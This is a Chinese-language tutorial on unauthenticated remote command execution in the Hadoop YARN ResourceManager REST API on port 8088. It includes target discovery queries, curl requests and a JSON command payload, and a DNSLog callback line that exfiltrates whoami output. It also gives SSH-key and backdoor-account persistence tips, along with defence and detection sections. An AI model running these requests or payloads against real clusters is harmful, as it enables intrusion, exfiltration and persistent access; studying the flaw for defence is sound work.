大数据-浅析Hadoop命令执行漏洞
字数 1485 2025-08-19 12:41:14
Hadoop命令执行漏洞分析与利用教学文档
一、Hadoop简介
Hadoop是一个由Apache开发的分布式系统基础架构,主要包含两大核心组件:
-
HDFS (Hadoop Distributed File System)
- 分布式文件系统
- 高容错性设计
- 可部署在低成本硬件上
- 提供高吞吐量数据访问
-
YARN (Yet Another Resource Negotiator)
- Hadoop集群资源管理系统
- 从Hadoop 2引入
- 最初为改善MapReduce实现
- 通用性强,支持多种分布式计算模式
二、YARN架构与关键组件
-
ResourceManager (RM)
- 集群资源的主要管理者
- 接收客户端请求
- 分配系统资源
-
ApplicationMaster (AM)
- 每个应用程序独有的进程
- 负责与ResourceManager协商资源
- 与NodeManager协同执行和监控任务
- 周期性发送心跳报告
-
NodeManager (NM)
- 单个节点上的资源管理者
- 执行具体的任务
三、漏洞原理
Hadoop YARN的ResourceManager在8088端口接收用户提交的应用程序请求,当服务以ROOT权限运行时,攻击者可以通过构造恶意请求实现远程命令执行。
漏洞利用条件:
- Hadoop服务以管理员(ROOT)权限运行
- YARN的ResourceManager Web UI(8088端口)暴露且未配置认证
- 目标系统存在Java环境
四、漏洞利用步骤
步骤1:发现目标
- 搜索语法:
title="All Applications"或port=50070 - 确认8088端口开放
步骤2:申请新的Application ID
curl -v -X POST 'http://target-ip:8088/ws/v1/cluster/apps/new-application'
响应示例:
{
"application-id": "application_123456789_0001",
"maximum-resource-capability": {
"memory": 8192,
"vCores": 4
}
}
步骤3:构造恶意请求
创建JSON文件(如1.json),内容如下:
{
"am-container-spec": {
"commands": {
"command": "echo '111' > /var/tmp/test_1"
}
},
"application-id": "application_123456789_0001",
"application-name": "test",
"application-type": "YARN"
}
步骤4:提交恶意任务
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://target-ip:8088/ws/v1/cluster/apps --data-binary @1.json
五、高级利用技巧
-
结果验证
- 使用DNSLog或ceye平台验证命令执行
- 示例命令:
curl http://your-subdomain.ceye.io/$(whoami)
-
持久化访问
- 写入SSH公钥到
/home/user/.ssh/authorized_keys - 创建后门账户
- 写入SSH公钥到
-
绕过限制
- 使用Base64编码命令
- 分阶段执行(先下载,后执行)
六、防御措施
-
权限控制
- 不以ROOT权限运行Hadoop服务
- 配置YARN使用普通用户执行任务
-
访问控制
- 启用Kerberos认证
- 配置防火墙规则限制访问源
-
网络隔离
- 将Hadoop管理接口置于内网
- 不直接暴露8088端口到公网
-
安全配置
- 禁用匿名访问
- 配置YARN的ACL
七、检测与排查
-
攻击痕迹检查
- 检查YARN的application日志
- 查看
/var/log/hadoop-yarn目录下的日志文件 - 检查异常进程和文件创建
-
命令示例
# 查看YARN应用列表 yarn application -list # 查看特定应用详情 yarn application -status <Application-ID> # 终止可疑应用 yarn application -kill <Application-ID>
八、限制因素
- 服务必须以管理员权限启动才能成功执行命令
- 如果8088端口配置了认证,会返回"user not authenticated"错误
- 在分布式环境中,任务可能被分配到任意节点执行,难以指定特定节点
九、参考命令
Hadoop Job相关命令
- 查看Job信息:
hadoop job -list - 终止Job:
hadoop job -kill job_id - 查看作业详情:
hadoop job -history all output-dir - 终止任务:
hadoop job -kill-task <task-id> - 使任务失败:
hadoop job -fail-task <task-id>
YARN通用命令
yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OPTIONS]
运行JAR文件
yarn jar <jar> [mainClass] args...